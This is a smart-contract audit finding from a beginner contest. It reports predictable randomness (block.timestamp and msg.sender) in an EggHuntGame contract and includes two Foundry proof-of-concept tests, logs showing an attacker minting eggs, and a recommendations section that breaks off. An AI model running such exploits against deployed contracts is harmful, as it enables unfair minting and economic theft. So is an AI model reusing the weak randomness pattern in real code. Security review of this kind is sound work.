Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Weak Randomness in EggHuntGame is Vulnerable for Unlimited Egg Farming

Summary

The EggHuntGame contract uses weak on-chain randomness derived from block.timestamp and msg.sender to generate random numbers for minting eggs. This predictable mechanism allows an attacker to repeatedly mint eggs by manipulating transaction timing and block conditions, enabling them to farm unlimited eggs without restriction.

Vulnerability Details

The contract implements a randomness mechanism resembling the following:

uint256 rand = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;

This approach is vulnerable because both block.timestamp and msg.sender are predictable and manipulatable within the same block. An attacker can repeatedly call the egg-farming function in rapid succession, with each call resulting in a deterministic and easily calculable "random" number.

The proof-of-concept test cases demonstrate this vulnerability:

  • Single Egg PoC: A single transaction by the attacker reliably generates the correct random number to mint an egg.

  • Multiple Eggs PoC: The attacker is able to mint 10 eggs in 10 consecutive calls by exploiting the predictable randomness source. Each call generates a new but predictable number, allowing uninterrupted farming.

PoC Logs (Excerpt):

Random number generated: 5
Egg FOUND!
New eggCounter: 1
...
Random number generated: 46
Egg minted on attempt 1
...
Random number generated: 93
Egg minted on attempt 5
...
Total eggs minted by attacker: 10

PoC - 2 Tests in EggHuntGameTest.t.sol

function testPoC_AttackerCanFarmEggWithWeakRandomness() public {
uint256 duration = 300;
game.startGame(duration);
game.setEggFindThreshold(50); // Set a low threshold to simulate exploitable conditions
uint256 eggBefore = game.eggCounter(); // Track how many eggs existed before the PoC
address attacker;
bool eggFound = false;
// Simulate up to 100 different attacker addresses, changing the timestamp each time
for (uint256 i = 0; i < 100; i++) {
attacker = address(
uint160(uint256(keccak256(abi.encodePacked(i))))
); // Generate a new address
uint256 newTime = block.timestamp + 1;
vm.warp(newTime); // Move time forward to change block.timestamp
console.log("Attempt", i + 1);
console.log(" Attacker address:", attacker);
console.log(" Timestamp:", newTime);
vm.prank(attacker); // Spoof msg.sender
try game.searchForEgg() {
// Check if eggCounter has increased — means an egg was successfully farmed
if (game.eggCounter() > eggBefore) {
console.log(" Egg FOUND!");
console.log(" New eggCounter:", game.eggCounter());
console.log(" Found by:", attacker);
console.log(
" Total eggs found by attacker:",
game.eggsFound(attacker)
);
eggFound = true;
break;
} else {
console.log(
"searchForEgg() did not mint egg despite success."
);
}
} catch {
console.log("Revert caught - no egg this time");
}
}
if (!eggFound) {
console.log("No egg was found after 100 attempts.");
}
// Assert that the attacker was able to mint at least one egg
assertGt(game.eggCounter(), eggBefore, "Should have farmed an egg");
}
function testPoC_AttackerCanFarmMultipleEggs() public {
// Initialize game with a high egg find threshold to make every call successful
uint256 duration = 300;
game.startGame(duration);
game.setEggFindThreshold(100); // 100% chance to mint an egg
address attacker = address(0xBEEF); // Use a single attacker for multiple attempts
uint256 initialEggs = game.eggCounter();
uint256 mintAttempts = 10;
console.log("Starting PoC: attacker farming multiple eggs");
console.log("Attacker:", attacker);
console.log("Initial eggCounter:", initialEggs);
// Attacker attempts to mint eggs over multiple blocks
for (uint256 i = 0; i < mintAttempts; i++) {
uint256 newTime = block.timestamp + 1;
vm.warp(newTime); // Move block timestamp forward
vm.prank(attacker); // Spoof attacker as msg.sender
try game.searchForEgg() {
console.log("Egg minted on attempt", i + 1);
console.log("Current eggCounter:", game.eggCounter());
console.log(
"Eggs found by attacker:",
game.eggsFound(attacker)
);
} catch {
console.log("Failed to mint egg on attempt", i + 1);
fail(); // Fail the test if egg minting unexpectedly fails
}
}
// Check that the attacker minted exactly the number of eggs attempted
uint256 finalEggs = game.eggCounter();
uint256 totalMinted = finalEggs - initialEggs;
console.log("PoC complete");
console.log("Total eggs minted by attacker:", totalMinted);
assertEq(totalMinted, mintAttempts, "Attacker should mint N eggs");
}

Impact

This vulnerability allows any attacker to:

  • Bypass any intended rarity or game mechanics tied to randomness

  • Farm an unlimited number of eggs

  • Potentially drain contract resources, inflate scores, or disrupt fair competition in gameplay environments

In a production environment with rewards or incentives tied to egg minting, this could lead to severe economic exploitation.

Tools Used

  • Custom Solidity PoC with forge-std logging to verify attacker control

  • Manual inspection of on-chain randomness sources

Recommendations

Avoid using block.timestamp, msg.sender, or block.number as entropy sources for randomness. Instead:

Updates

Lead Judging Commences

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.